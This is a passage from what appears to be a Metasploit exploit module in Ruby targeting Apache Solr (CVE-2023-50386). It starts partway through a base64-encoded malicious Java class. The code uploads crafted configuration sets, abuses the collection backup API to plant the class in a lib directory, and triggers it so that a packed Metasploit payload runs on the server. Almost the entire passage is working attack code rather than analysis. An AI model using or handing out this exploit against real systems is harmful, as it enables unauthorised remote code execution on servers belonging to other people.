'ABAAAAASAAgAEwANABQAFgAVABwAFgAfABcALAAYADUAGgBKABsAUQAcAHgAHQB+AB4ApgAhAKkA'    gadget << 'HwCqACAArgAiAGAAAAAJAAL3AKkHAFgEAAIAYQAAAAIAYgBjAAAACgABAGQAZgBoBAk='    gadget = Rex::Text.decode_base64(gadget)    # Replace 'confname' with our randomized 8 character configuration name    gadget.sub!('confname', configuration1_name)    # Replace the placeholder payload with our packed payload which is prefixed with it's size.    gadget.sub!("\x00\x12METASPLOIT_PAYLOAD", packed_payload(payload.encoded))  end  def packed_payload(pload)    "#{[pload.length].pack('n')}#{pload}"  end  def create_zip    zip_file = Rex::Zip::Archive.new    directory_to_zip = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'conf')    Dir.glob(File.join(directory_to_zip, '**', '*')).each do |file_path|      if File.file?(file_path)        relative_path = file_path.sub("#{directory_to_zip}/", '') # Get relative path        file_contents = File.read(file_path)        zip_file.add_file(relative_path, file_contents)      elsif File.directory?(file_path)        relative_path = file_path.sub("#{directory_to_zip}/", '') # Get relative path        zip_file.add_file(relative_path, nil, recursive: true)      end    end    zip_file  end  def upload_conf(file_name, zip_archive, conf_name)    mime = Rex::MIME::Message.new    mime.add_part(zip_archive, 'application/octet-stream', 'binary', "form-data; filename=\"#{file_name}\"")    res = solr_post({      'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),      'method' => 'POST',      'ctype' => 'application/octet-stream',      'data' => zip_archive,      'auth' => @auth_string,      'vars_get' => {        'action' => 'UPLOAD',        'name' => conf_name      }    })    fail_with(Failure::UnexpectedReply, 'No response from the target') unless res    fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200    data = res.get_json_document    if data.dig('responseHeader', 'status') == 0      print_good('Uploaded configuration successfully')    elsif data.dig('error', 'msg')      fail_with(Failure::UnexpectedReply, "Failed to upload configuration. Target responded with error: #{data['error']['msg']}")    else      fail_with(Failure::UnexpectedReply, "Failed to upload configuration: #{conf_name} to the target")    end    res  end  def create_collection(collection_name, configuration_name)    solr_get({      'uri' => normalize_uri(target_uri.path, 'admin', 'collections'),      'method' => 'GET',      'auth' => @auth_string,      'vars_get' => {        'action' => 'CREATE',        'name' => collection_name,        'numShards' => 1,        'replicationFactor' => 1,        'wt' => 'json',        'collection.configName' => configuration_name      }    })  end  def backup_collection(collection_name, location, backup_name)    res = solr_get({      'uri' => normalize_uri(target_uri.path, 'admin', 'collections'),      'method' => 'GET',      'auth' => @auth_string,      'vars_get' => {        'action' => 'BACKUP',        'collection' => collection_name,        'location' => location,        'name' => backup_name      }    })    fail_with(Failure::UnexpectedReply, 'No response from the target') unless res    data = res.get_json_document    if data.dig('responseHeader', 'status') == 0      print_good('Backed up collection successfully')    elsif data.dig('error', 'msg')      fail_with(Failure::UnexpectedReply, "Failed to Backup configuration. Target responded with error: #{data['error']['msg']}")    else      fail_with(Failure::UnexpectedReply, "Failed to create collection: #{collection_name} successfully")    end    res  end  def cleanup    print_status('Cleaning up...')    # Clean up collections and configurations    # Delete the collection first then the configs or you'll get the following error:    # "Can not delete ConfigSet as it is currently being used by collection [PchuSaNJ]"    if @collection_res&.code == 200      delete_collection_res = solr_get({        'uri' => normalize_uri(target_uri.path, 'admin', 'collections'),        'method' => 'GET',        'auth' => @auth_string,        'vars_get' => {          'action' => 'DELETE',          'name' => @collection1_name        }      })      print_error("Unable to delete collection: #{@collection1_name}") unless delete_collection_res&.code == 200    end    if @conf1_res&.code == 200      delete_conf1_res = solr_get({        'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),        'method' => 'GET',        'auth' => @auth_string,        'vars_get' => {          'action' => 'DELETE',          'name' => @configuration1_name        }      })      print_error("Unable to delete config: #{@configuration1_name}") unless delete_conf1_res&.code == 200    end    if @conf2_res&.code == 200      delete_conf2_res = solr_get({        'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),        'method' => 'GET',        'auth' => @auth_string,        'vars_get' => {          'action' => 'DELETE',          'name' => @configuration2_name        }      })      print_error("Unable to delete config: #{@configuration2_name}") unless delete_conf2_res&.code == 200    end  end  def exploit    @collection1_name = Rex::Text.rand_text_alpha(8)    @configuration1_name = Rex::Text.rand_text_alpha_lower(8)    @collection2_name = Rex::Text.rand_text_alpha(8)    # Zip up conf1    conf1_zip = create_zip    conf1_zip.add_file('SourceParser.class', go_go_gadget(@configuration1_name))    conf1_zip.add_file('solrconfig.xml', File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'solrconfig.xml')))    # Upload conf1    @conf1_res = upload_conf(@configuration1_name + '.zip', conf1_zip.pack, @configuration1_name)    # Create collection from conf1    @collection_res = create_collection(@collection1_name, @configuration1_name)    fail_with(Failure::UnexpectedReply, 'No response from the target') unless @collection_res    data = @collection_res.get_json_document    if @collection_res.code == 200 && data['responseHeader']['status'] == 0      vprint_good('Created collection successfully')    elsif data['error']['msg']      fail_with(Failure::UnexpectedReply, "Failed to upload configuration. Target responded with error: #{data['error']['msg']}")    else      fail_with(Failure::UnexpectedReply, "Failed to create collection: #{collection_name} successfully")    end    # Backup collection and export conf1    location = '/var/solr/data/'    backup_name = "#{@collection2_name}_shard1_replica_n1"    backup_collection(@collection1_name, location, backup_name)    # Now you need to export it again through the backup and interface `collection1` note the changes in `location` and `name`:    location = "/var/solr/data/#{backup_name}"    backup_name = 'lib'    backup_collection(@collection1_name, location, backup_name)    # Zip up conf2    conf2_zip = create_zip    editted_solrconfig = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'solrconfig.xml'))    editted_solrconfig = editted_solrconfig.gsub('</config>', "     <valueSourceParser name=\"myfunc\" class=\"zk_backup_0.configs.#{@configuration1_name}.SourceParser\" />\n</config>")    conf2_zip.add_file('solrconfig.xml', editted_solrconfig)    # Upload conf2    @configuration2_name = Rex::Text.rand_text_alpha(8)    @conf2_res = upload_conf('conf2.zip', conf2_zip.pack, @configuration2_name)    # Attempt to create a collection from conf2 which will load the SourceParser.class we uploaded as a port of the    # first conf1 which will then cause an error as it executes our malicious class (the collection does not get created)    res = create_collection(@collection2_name, @configuration2_name)    fail_with(Failure::UnexpectedReply, 'No response from the target') unless res    data = res&.get_json_document    if res.code == 400 && data['error']['msg'] == "Underlying core creation failed while creating collection: #{@collection2_name}"      print_good('Successfully dropped the payload')    else      fail_with(Failure::UnexpectedReply, "Failed to create collection: #{@configuration2_name} successfully")    end  endend

Tag

#linux